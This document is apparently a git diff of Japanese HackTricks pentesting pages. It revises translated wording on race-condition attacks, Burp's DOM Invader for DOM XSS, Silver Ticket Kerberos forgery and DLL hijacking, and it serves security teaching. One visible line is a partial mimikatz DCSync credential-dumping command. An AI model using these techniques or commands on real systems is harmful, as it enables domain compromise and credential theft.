1. **潜在的な隠れた興味深いサブステートを予測する**
|
||||
|
||||
最初のステップは、それに書き込むか、データを読み取るエンドポイントを特定し、そのデータを何か重要なことに使用するすべてのエンドポイントを特定することです。たとえば、ユーザーは登録、プロファイル編集、パスワードリセットの開始、パスワードリセットの完了によって変更されるデータベーステーブルに保存される場合があります。
|
||||
最初のステップは、それに書き込むか、それからデータを読み取り、それを重要な何かに使用するすべてのエンドポイントを特定することです。たとえば、ユーザーは登録、プロファイル編集、パスワードリセットの開始、パスワードリセットの完了によって変更されるデータベーステーブルに保存される場合があります。
|
||||
|
||||
次の3つの重要な質問を使用して、衝突の可能性が低いエンドポイントを除外できます。各オブジェクトと関連するエンドポイントについて、次のように尋ねます:
|
||||
エンドポイントと関連するエンドポイントごとに、次の3つの重要な質問を使用して、衝突の可能性が低いエンドポイントを除外できます。
|
||||
|
||||
- **状態はどのように保存されていますか?**
|
||||
* **状態はどのように保存されていますか?**
|
||||
|
||||
永続的なサーバーサイドのデータ構造に保存されているデータは、悪用に適しています。一部のエンドポイントは、パスワードリセットなど、JWTをメールで送信することによって動作するように、完全にクライアントサイドに状態を保存します。これらは安全にスキップできます。
|
||||
|
||||
アプリケーションは、ユーザーセッションに一部の状態を保存することがよくあります。これらは通常、サブステートに対してある程度保護されています。後述します。
|
||||
アプリケーションは、ユーザーセッションに一部の状態を保存することがよくあります。これらは通常、サブステートに対してある程度保護されています。後で詳しく説明します。
|
||||
|
||||
- **編集または追加ですか?**
|
||||
* **編集または追加していますか?**
|
||||
|
||||
既存のデータを編集する操作(アカウントの主なメールアドレスの変更など)は、十分な衝突の可能性がありますが、既存のデータに追加するだけの操作(追加のメールアドレスの追加など)は、制限超過攻撃以外の脆弱性に対して脆弱性を持つ可能性は低いです。
|
||||
既存のデータを編集する操作(アカウントの主なメールアドレスの変更など)は、十分な衝突の可能性がありますが、既存のデータに追加するだけの操作(追加のメールアドレスの追加など)は、制限オーバーラン攻撃以外の脆弱性に対して脆弱ではありません。
|
||||
|
||||
- **操作は何にキー付けられていますか?**
|
||||
* **操作は何にキー付けられていますか?**
|
||||
|
||||
ほとんどのエンドポイントは、ユーザ名、パスワードリセットトークン、ファイル名などの「キー」を使用して検索される特定のレコードで動作します。成功した攻撃には、同じキーを使用する2つの操作が必要です。たとえば、2つの考えられるパスワードリセットの実装を想像してみてください:
|
||||
ほとんどのエンドポイントは、ユーザ名、パスワードリセットトークン、ファイル名などの「キー」を使用して検索される特定のレコードで動作します。成功した攻撃には、同じキーを使用する2つの操作が必要です。たとえば、2つの考えられるパスワードリセットの実装を想像してみてください。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. **手がかりを探る**
|
||||
|
||||
この時点で、潜在的に興味深いエンドポイントに対していくつかのRC攻撃を**実行**して、通常のものとは異なる結果を見つけようとします。応答の変化、または異なるメールの内容やセッションの目に見える変化など、予想される応答からの逸脱は、何かが間違っていることを示す手がかりとなる可能性があります。
|
||||
この時点で、潜在的に興味深いエンドポイントに対していくつかのRC攻撃を**実行**して、通常のものとは異なる結果を見つけようとします。応答の変化、または異なるメールの内容やセッションの目に見える変化など、予想される応答からの逸脱は、何かが間違っていることを示す手がかりになる可能性があります。
|
||||
|
||||
3. **コンセプトの証明**
|
||||
3. **コンセプトを証明する**
|
||||
|
||||
最後のステップは、**コンセプトを証明し、攻撃可能な攻撃に変える**ことです。
|
||||
|
||||
一括リクエストを送信すると、初期のリクエストペアが脆弱なエンドステートをトリガーする場合がありますが、後のリクエストがそれを上書き/無効にし、最終的な状態は攻撃できないものになります。このシナリオでは、不要なリクエストをすべて削除する必要があります。ほとんどの脆弱性を悪用するには2つのリクエストが十分です。ただし、2つのリクエストにすると、攻撃はタイミングに敏感になるため、攻撃を複数回リトライするか、自動化する必要がある場合があります。
|
||||
一括のリクエストを送信すると、初期のリクエストペアが脆弱なエンドステートをトリガーする場合がありますが、後のリクエストがそれを上書き/無効にし、最終的な状態は攻撃できないものになります。このシナリオでは、不要なリクエストをすべて削除する必要があります。ほとんどの脆弱性を悪用するには2つのリクエストが十分です。ただし、2つのリクエストにすると、攻撃のタイミングが重要になるため、攻撃を複数回リトライするか、自動化する必要がある場合があります。
|
||||
|
||||
### タイムセンシティブ攻撃
|
||||
|
||||
競合状態を見つけることができない場合でも、**正確なタイミングでリクエストを送信するための技術**は、他の脆弱性の存在を明らかにすることがあります。
|
||||
場合によっては、競合状態を見つけることができないかもしれませんが、**正確なタイミングでリクエストを送信するための技術**は、他の脆弱性の存在を明らかにすることができます。
|
||||
|
||||
その一例として、セキュリティトークンを生成するために、**暗号化されたランダムな文字列の代わりに高解像度のタイムスタンプが使用される**場合があります。
|
||||
|
||||
タイムスタンプのみを使用してランダム化された**パスワードリセットトークン**を考えてみましょう。この場合、2つの異なるユーザーのために2つのパスワードリセットをトリガーし、**同じトークン**を使用することが可能かもしれません。リクエストのタイミングを合わせるだけです。
|
||||
タイムスタンプのみを使用してランダム化された**パスワードリセットトークン**を考えてみましょう。この場合、**同じトークン**を生成するようにリクエストのタイミングを合わせることができるかもしれません。必要なのは、リクエストを同じタイムスタンプで生成するだけです。
|
||||
|
||||
{% hint style="warning" %}
|
||||
たとえば、前述の状況を確認するために、**同時に2つのパスワードリセットトークンを要求**(シングルパケット攻撃を使用)し、それらが**同じ**であるかどうかを確認できます。
|
||||
たとえば、前述の状況を確認するには、**同時に2つのパスワードリセットトークンを要求**(シングルパケット攻撃を使用)し、それらが**同じ**であるかどうかを確認します。
|
||||
{% endhint %}
|
||||
|
||||
[**このラボの例**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities)を確認してください。
|
||||
|
||||
## Hidden substatesのケーススタディ
|
||||
## 隠れたサブステートのケーススタディ
|
||||
|
||||
### 商品の支払いと追加
|
||||
|
||||
|
@ -263,17 +263,17 @@ asyncio.run(main())
|
|||
|
||||
### 他のメールの確認
|
||||
|
||||
アイデアは、**メールアドレスを確認し、同時に別のメールアドレスに変更**し、プラットフォームが新しいメールアドレスを確認するかどうかを確認することです。
|
||||
アイデアは、**メールアドレスを確認し、同時に別のメールアドレスに変更**することで、プラットフォームが新しいメールアドレスを確認するかどうかを確認することです。
|
||||
|
||||
### 2つのメールアドレスに電子メールを変更する(Cookieベース)
|
||||
### 2つのメールアドレスにCookieを使用してメールアドレスを変更する
|
||||
|
||||
[**この解説**](https://portswigger.net/research/smashing-the-state-machine)によると、Gitlabはこの方法で乗っ取りの脆弱性がありました。なぜなら、Gitlabは**1つのメールアドレスの電子メール確認トークンを他のメールアドレスに送信**する可能性があるからです。
|
||||
[**この解説**](https://portswigger.net/research/smashing-the-state-machine)によると、Gitlabはこの方法で乗っ取られる可能性がありました。なぜなら、Gitlabは**1つのメールアドレスのメール確認トークンを他のメールアドレスに送信**する可能性があるからです。
|
||||
|
||||
これについては、[**このラボ**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint)もチェックしてください。
|
||||
|
||||
### 隠れたデータベースの状態/確認バイパス
|
||||
|
||||
**2つの異なる書き込み**が使用されて**データベース**に**情報を追加**する場合、最初のデータがデータベースに書き込まれた後、**2番目のデータが書き込まれるまでの間**には、**最初のデータのみが書き込
|
||||
**2つの異なる書き込み**がデータベース内の**情報**を**追加**する場合、最初のデータがデータベースに書き込まれた後のわずかな時間があります。たとえば、ユーザーを作成するときには、**ユーザ
|
||||
```python
|
||||
session['userid'] = user.userid
|
||||
if user.mfa_enabled:
|
||||
|
@ -285,7 +285,7 @@ session['enforce_mfa'] = True
|
|||
|
||||
### OAuth2の永続性
|
||||
|
||||
いくつかの[**OAuthプロバイダー**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers)があります。これらのサービスは、プロバイダーが登録したユーザーを認証し、アプリケーションにアクセスを許可することができます。そのためには、**クライアント**が**アプリケーションにアクセスを許可**する必要があります。\
|
||||
いくつかの[**OAuthプロバイダー**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers)があります。これらのサービスは、プロバイダーが登録したユーザーを認証し、アプリケーションにアクセスを許可することができます。そのためには、**クライアント**が**アプリケーションにアクセスを許可**する必要があります。**OAuthプロバイダー**内の一部のデータにアクセスするためです。\
|
||||
したがって、ここまでは、Google/LinkedIn/GitHubなどの一般的なログインで、以下のようなページが表示されます: "_Application \<InsertCoolName> があなたの情報にアクセスすることを希望しています。許可しますか?_"
|
||||
|
||||
#### `authorization_code`における競合状態
|
||||
|
@ -319,7 +319,7 @@ session['enforce_mfa'] = True
|
|||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。\
|
||||
今すぐアクセスを取得してください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -7,14 +7,14 @@
|
|||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有**するには、[**hacktricks repo**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有する**ために、[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
## DOM Invader
|
||||
|
||||
DOM Invaderは、Burpの組み込みブラウザにインストールされたブラウザツールです。Webメッセージやプロトタイプ汚染を含むさまざまなソースとシンクを使用して、**DOM XSSの脆弱性を検出**するのに役立ちます。このツールは、拡張機能として事前にインストールされています。
|
||||
DOM Invaderは、Burpの組み込みブラウザにインストールされたブラウザツールです。Webメッセージやプロトタイプ汚染を含むさまざまなソースとシンクを使用して、**DOM XSSの脆弱性を検出**するのに役立ちます。このツールは拡張機能として事前にインストールされています。
|
||||
|
||||
DOM Invaderは、ブラウザのDevToolsパネル内にタブを統合し、次の機能を提供します。
|
||||
|
||||
|
@ -31,15 +31,15 @@ Burpの組み込みブラウザで**Burp拡張機能**に移動し、有効に
|
|||
|
||||
次に、ページを更新し、**Dev Tools**で**DOM Invaderタブ**が表示されます:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### カナリアの注入
|
||||
### カナリアを注入する
|
||||
|
||||
前の画像で、**ランダムな文字のグループ(カナリア)**が表示されます。これをウェブのさまざまな部分(パラメータ、フォーム、URLなど)に**注入**し、毎回検索をクリックします。DOM Invaderは、悪用できる可能性のある**興味深いシンク**にカナリアが到達したかどうかをチェックします。
|
||||
前の画像で、**ランダムな文字のグループが表示されていますが、それがカナリアです**。これをウェブのさまざまな部分(パラメータ、フォーム、URLなど)に**注入**し、毎回検索をクリックします。DOM Invaderは、悪用できる可能性のある**興味深いシンク**にカナリアが到達したかどうかをチェックします。
|
||||
|
||||
さらに、**URLパラメータを注入**および**フォームを注入**のオプションは、見つかった**すべてのURLパラメータとフォーム**にカナリアを自動的に注入する**新しいタブ**を開きます。
|
||||
さらに、**URLパラメータを注入**および**フォームを注入**のオプションは、**新しいタブ**を自動的に開き、見つかった**すべてのURLパラメータ**と**フォーム**にカナリアを**注入**します。
|
||||
|
||||
### 空のカナリアの注入
|
||||
### 空のカナリアを注入する
|
||||
|
||||
潜在的なシンクを見つけるだけでよい場合は、実行可能でなくても、**空のカナリアを検索**できます。
|
||||
|
||||
|
@ -48,7 +48,7 @@ Burpの組み込みブラウザで**Burp拡張機能**に移動し、有効に
|
|||
DOM Invaderを使用して、ウェブメッセージを使用したDOM XSSをテストすることができます。次の機能があります。
|
||||
|
||||
1. `postMessage()`を介して送信されたウェブメッセージの**ログ記録**。これは、Burp ProxyのHTTPリクエスト/レスポンス履歴のログ記録に似ています。
|
||||
2. DOM XSSを手動でテストするためのウェブメッセージの**編集**と**再発行**。これは、Burp Repeaterの機能に似ています。
|
||||
2. DOM XSSを手動でテストするために、ウェブメッセージの**編集**と**再発行**。これは、Burp Repeaterの機能に似ています。
|
||||
3. DOM XSSを探索するためのウェブメッセージの**自動変更**と送信。
|
||||
|
||||
#### メッセージの詳細
|
||||
|
@ -57,7 +57,7 @@ DOM Invaderを使用して、ウェブメッセージを使用したDOM XSSを
|
|||
|
||||
* **`origin`**:メッセージの**オリジン情報がチェックされていない**場合、任意の外部ドメインからイベントハンドラにクロスオリジンメッセージを送信できる場合があります。ただし、チェックされていても安全ではない可能性があります。
|
||||
* **`data`**:ここにペイロードが送信されます。このデータが使用されない場合、シンクは無効です。
|
||||
* **`source`**:通常はiframeを参照するソースプロパティが、オリジンではなく検証されているかどうかを評価します。これがチェックされていても、検証が回避できないことを保証するものではありません。
|
||||
* **`source`**:通常はiframeを参照するソースプロパティが検証されているかどうかを評価します。これがチェックされていても、検証がバイパスされないことを保証するものではありません。
|
||||
|
||||
#### メッセージの返信
|
||||
|
||||
|
@ -101,9 +101,9 @@ b.testproperty
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし、**ハッキングのキャリア**に興味があり、**解読不能なものを解読する**ことに興味があるなら、**採用しています!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
|
@ -20,11 +20,11 @@
|
|||
|
||||
## シルバーチケット
|
||||
|
||||
シルバーチケット攻撃は、**サービスのNTLMハッシュ(PCアカウントハッシュなど)を所有している場合に、有効なTGSを作成する**ことに基づいています。したがって、任意のユーザーとしてカスタムTGSを偽造することで、**そのサービスにアクセス**することができます。
|
||||
シルバーチケット攻撃は、**サービスのNTLMハッシュ(PCアカウントハッシュなど)を所有している場合に、有効なTGSを作成する**ことに基づいています。したがって、カスタムのTGSを**任意のユーザーとして偽装することで、そのサービスにアクセス**することができます。
|
||||
|
||||
この場合、Active Directory(AD)の中でユーザーアカウントのようなものである**コンピューターアカウントのNTLMハッシュ**が**所有**されています。したがって、SMBサービスを介して**管理者権限を持つ**マシンに**入るため**に、**チケット**を**作成**することが可能です。コンピューターアカウントはデフォルトで30日ごとにパスワードをリセットします。
|
||||
この場合、**コンピューターアカウントのNTLMハッシュ**(AD内のユーザーアカウントの一種)が**所有**されています。したがって、SMBサービスを介して**管理者**権限でそのマシンに**アクセス**するために、**チケット**を**作成**することが可能です。コンピューターアカウントはデフォルトで30日ごとにパスワードをリセットします。
|
||||
|
||||
また、AES Kerberosキー(AES128およびAES256)を使用して**チケットを偽造することが可能であり、好ましい**(opsec)です。AESキーの生成方法については、[MS-KILEのセクション4.4](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625)または[Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372)を参照してください。
|
||||
また、AES Kerberosキー(AES128およびAES256)を使用してチケットを**作成することが可能であり、好ましい**(opsec)です。AESキーの生成方法については、[MS-KILEのセクション4.4](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625)または[Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372)を参照してください。
|
||||
|
||||
{% code title="Linux" %}
|
||||
```bash
|
||||
|
@ -158,7 +158,7 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
|
|||
[dcsync.md](dcsync.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中です!**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
|
@ -172,6 +172,6 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
|
|||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,23 +4,23 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
もし、**ハッキングのキャリア**に興味があり、**解読不可能なものを解読する**ことに興味がある場合は、**採用中です**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
もし、**ハッキングのキャリア**に興味があり、**解読不可能なものを解読する**ことに興味がある場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## 定義
|
||||
|
||||
まず、定義を確認しましょう。DLLハイジャッキングは、最も広義には、**正規/信頼されたアプリケーションを誤って/トリックして任意のDLLを読み込ませる**ことです。_DLL Search Order Hijacking_、_DLL Load Order Hijacking_、_DLL Spoofing_、_DLL Injection_、_DLL Side-Loading_などの用語は、しばしば間違って同じ意味で使用されます。
|
||||
まず、定義を確認しましょう。DLLハイジャッキングは、広義には**正規/信頼されたアプリケーションを誤って/トリックして任意のDLLを読み込ませる**ことです。_DLL Search Order Hijacking_、_DLL Load Order Hijacking_、_DLL Spoofing_、_DLL Injection_、_DLL Side-Loading_などの用語は、しばしば間違って同じ意味で使用されます。
|
||||
|
||||
Dllハイジャッキングは、**コードの実行**、**永続性の確保**、**特権のエスカレーション**に使用することができます。その3つのうち、**特権のエスカレーション**は非常に見つけにくいです。ただし、これは特権のエスカレーションセクションの一部であるため、このオプションに焦点を当てます。また、目標に関係なく、dllハイジャッキングは同じ方法で実行されます。
|
||||
|
||||
|
@ -33,11 +33,11 @@ Dllハイジャッキングは、**コードの実行**、**永続性の確保**
|
|||
3. **Phantom DLLハイジャック**: 正規のアプリケーションが読み込もうとする欠落/存在しないDLLの代わりに悪意のあるDLLを配置します \[[4](http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/)]。
|
||||
4. **DLLリダイレクト**: DLLの検索場所を変更します。たとえば、`%PATH%`環境変数を編集するか、`.exe.manifest` / `.exe.local`ファイルを編集して、悪意のあるDLLを含むフォルダを追加します \[[5](https://docs.microsoft.com/en-gb/windows/win32/sbscs/application-manifests), [6](https://docs.microsoft.com/en-gb/windows/win32/dlls/dynamic-link-library-redirection)]。
|
||||
5. **WinSxS DLLの置き換え**: 対象のDLLの関連するWinSxSフォルダに正規のDLLを悪意のあるDLLで置き換えます。DLLサイドローディングとも呼ばれることがよくあります \[[7](https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf)]。
|
||||
6. **相対パスDLLハイジャック**: 正規のアプリケーションをユーザーが書き込み可能なフォルダにコピー(オプションで名前を変更)し、悪意のあるDLLと一緒に配置します。使用方法によっては、(署名済みの)バイナリプロキシ実行 \[[8](https://attack.mitre.org/techniques/T1218/)]と類似点があります。これのバリエーションは、(ややオキシモロン的に)「_bring your own LOLbin_」 \[[9](https://www.microsoft.com/security/blog/2019/09/26/bring-your-own-lolbin-multi-stage-fileless-nodersok-campaign-delivers-rare-node-js-based-malware/)]と呼ばれ、正規のアプリケーションが悪意のあるDLLと一緒に提供されます(被害者のマシン上の正規の場所からコピーされるのではなく)。
|
||||
6. **相対パスDLLハイジャック**: 正規のアプリケーションをユーザーが書き込み可能なフォルダにコピー(オプションで名前を変更)し、悪意のあるDLLと一緒に配置します。使用方法によっては、(署名された)バイナリプロキシ実行 \[[8](https://attack.mitre.org/techniques/T1218/)]と類似点があります。これのバリエーションは、(ややオキシモロン的に)「_bring your own LOLbin_」 \[[9](https://www.microsoft.com/security/blog/2019/09/26/bring-your-own-lolbin-multi-stage-fileless-nodersok-campaign-delivers-rare-node-js-based-malware/)]と呼ばれ、正規のアプリケーションが悪意のあるDLLと一緒に持ち込まれます(被害者のマシンの正規の場所からコピーされるのではなく)。
|
||||
|
||||
## 欠落しているDLLの検索
|
||||
## 欠落しているDllを見つける
|
||||
|
||||
システム内の欠落しているDLLを見つける最も一般的な方法は、[procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon)をsysinternalsから実行し、次の2つのフィルタを**設定**することです。
|
||||
システム内の欠落しているDllを見つける最も一般的な方法は、[procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon)をsysinternalsから実行し、次の2つのフィルタを**設定**することです。
|
||||
|
||||
![](<../../.gitbook/assets/image (311).png>)
|
||||
|
||||
|
@ -70,7 +70,7 @@ Dllハイジャッキングは、**コードの実行**、**永続性の確保**
|
|||
|
||||
[**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa)関数が**LOAD\_WITH\_ALTERED\_SEARCH\_PATH**で呼び出される場合、検索は**LoadLibraryEx**がロードしている実行可能モジュールのディレクトリから開始されます。
|
||||
|
||||
最後に、**dllは名前だけでなく絶対パスを指定してロードされることもあります**。その場合、そのdllは**そのパスだけで検索されます**(dllに依存関係がある場合、名前でロードされたときと同様に検索されます)。
|
||||
最後に、**dllは名前だけでなく絶対パスを指定してロードすることもできます**。その場合、そのdllは**そのパスだけで検索されます**(dllに依存関係がある場合、名前でロードされたときと同様に検索されます)。
|
||||
|
||||
検索順序を変更する他の方法もありますが、ここでは説明しません。
|
||||
|
||||
|
@ -88,9 +88,9 @@ Dllハイジャッキングは、**コードの実行**、**永続性の確保**
|
|||
* **dllが不足している**フォルダに**書き込み権限**を持つ(おそらく実行可能なディレクトリまたはシステムパス内のフォルダ)。
|
||||
|
||||
はい、前提条件は複雑で見つけるのが難しいです。**デフォルトでは特権のある実行可能ファイルがdllが不足しているのは奇妙**であり、**システムパスのフォルダに書き込み権限を持つのはさらに奇妙**です(デフォルトではできません)。しかし、設定が誤っている環境では、これが可能です。\
|
||||
